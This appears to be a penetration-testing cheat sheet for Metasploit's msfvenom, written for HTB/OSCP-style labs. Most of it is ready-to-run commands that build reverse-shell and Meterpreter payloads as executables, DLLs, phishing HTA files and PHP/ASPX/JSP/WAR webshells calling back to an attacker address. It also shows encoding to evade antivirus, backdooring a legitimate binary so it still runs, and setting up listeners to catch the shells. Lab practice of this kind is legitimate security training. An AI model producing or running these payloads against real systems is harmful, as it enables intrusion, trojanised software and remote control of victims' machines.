msfvenom is Metasploit’s payload generator. One command, every format: .exe, .elf, .war, .jsp, .php, .aspx, .dll, raw shellcode. If you need a payload in any format, msfvenom can produce it.

Syntax

msfvenom -p <PAYLOAD> LHOST=<IP> LPORT=<PORT> -f <format> -o <output_file>

Common flags:

FlagPurpose
-pPayload (e.g. windows/x64/shell_reverse_tcp)
-fOutput format (exe, elf, war, raw, aspx, jsp, php, dll, c, python, hex)
-oOutput file
-eEncoder (x86/shikata_ga_nai, cmd/powershell_base64)
-iIterations of encoding
-bBad characters to avoid (e.g. '\x00\x0a\x0d')
-xTemplate binary — inject payload into legit executable
-kKeep template functional (the original app still runs)
--platformTarget platform (windows, linux, etc.)
-aArchitecture (x86, x64)
-nNOP sled length
-sMax payload size

Discovering Payloads & Formats

msfvenom -l payloads               # all payloads
msfvenom -l formats                # all output formats
msfvenom -l encoders               # all encoders
msfvenom -l platforms              # platforms
msfvenom -l payloads | grep windows/x64/meterpreter

Staged vs Stageless Naming

windows/x64/shell/reverse_tcp      # staged — slash
windows/x64/shell_reverse_tcp      # stageless — underscore
windows/x64/meterpreter/reverse_tcp    # staged Meterpreter
windows/x64/meterpreter_reverse_tcp    # stageless Meterpreter

Format Matrix

Linux

# ELF binary
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf
 
# Meterpreter ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o met.elf
 
# 32-bit (old boxes)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell32.elf

Windows

# EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
 
# Meterpreter EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o met.exe
 
# DLL (for DLL hijacking / rundll32)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o shell.dll
 
# Service EXE (for PSExec-style)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe-service -o svc.exe
 
# MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o shell.msi
 
# HTA (phishing)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f hta-psh -o payload.hta

Web

# PHP
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php
# wrap in <?php ... ?> tags if the handler needs them:
(echo '<?php '; cat shell.php; echo ' ?>') > shell.php.final
 
# PHP Meterpreter
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php
 
# ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx -o shell.aspx
 
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.jsp
 
# WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war

Shellcode / Scripting

# C buffer (for exploit development)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f c
 
# Python
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f python
 
# PowerShell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f psh -o shell.ps1
 
# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.5 LPORT=4444 -f raw

Encoders & Bad Characters

# Encode to dodge basic AV
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -f exe -o enc.exe
 
# Avoid bad characters (common in buffer overflows)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
  -b '\x00\x0a\x0d\x20' -f c

shikata_ga_nai is signatured

Every real AV flags shikata_ga_nai patterns. It’s useful for labs and signature-less IDS; on modern Defender you need actual obfuscation (Veil, Donut, Scarecrow, custom loaders).

Template Injection — Backdoor a Legit Binary

Keep the original app working while piggybacking your payload.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
  -x /usr/share/windows-binaries/plink.exe -k -f exe -o plink-backdoored.exe

-x sets the template; -k keeps the template functional. Without -k, running the EXE crashes the original binary immediately.

Catching the Shell

Every msfvenom payload needs a listener. For Metasploit payloads use multi/handler:

msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_tcp; \
  set LHOST tun0; set LPORT 4444; \
  set ExitOnSession false; run -j"

For plain shell_reverse_tcp payloads, nc -lvnp 4444 is fine.

Quick Decision Table

TargetCommand
Windows EXE-p windows/x64/shell_reverse_tcp -f exe
Windows Meterpreter-p windows/x64/meterpreter/reverse_tcp -f exe
Linux binary-p linux/x64/shell_reverse_tcp -f elf
PHP webshell-p php/reverse_php -f raw
Tomcat WAR-p java/jsp_shell_reverse_tcp -f war
JSP drop-in-p java/jsp_shell_reverse_tcp -f raw
IIS ASPX-p windows/x64/shell_reverse_tcp -f aspx
DLL hijack-p windows/x64/shell_reverse_tcp -f dll
Buffer overflow shellcode-p windows/shell_reverse_tcp -f c -b '\x00'

LHOST=tun0

On HTB/OSCP labs, LHOST=tun0 auto-resolves to your VPN interface IP — one less thing to mess up.